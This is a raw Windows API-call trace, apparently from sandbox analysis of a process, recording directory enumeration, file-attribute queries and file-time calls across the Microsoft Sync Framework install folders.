lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="")) returned 0 [0080.003] GetLastError () returned 0x12 [0080.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.003] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123bb78) returned 1 [0080.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="")) returned 0 [0080.004] GetLastError () returned 0x12 [0080.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.004] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.004] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0080.005] GetLastError () returned 0x12 [0080.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.005] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0080.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.005] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0080.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0080.006] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.006] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.006] NtClose (Handle=0x16c) returned 0x0 [0080.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.007] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0080.007] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.007] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0080.007] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0080.008] GetLastError () returned 0x12 [0080.008] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0080.008] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0080.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0080.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0080.009] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.009] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.009] NtClose (Handle=0x16c) returned 0x0 [0080.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0080.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.010] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0080.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0080.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="")) returned 1 [0080.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.015] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="")) returned 1 [0080.015] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="")) returned 1 [0080.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="")) returned 0 [0080.016] GetLastError () returned 0x12 [0080.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.016] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0080.016] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.016] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0080.016] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="")) returned 1 [0080.017] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="")) returned 1 [0080.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0080.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0080.025] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.025] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.025] NtClose (Handle=0x16c) returned 0x0 [0080.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0080.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0080.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0080.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0080.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.027] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0080.027] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0080.027] GetLastError () returned 0x12 [0080.027] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.027] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0080.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0080.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0080.028] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 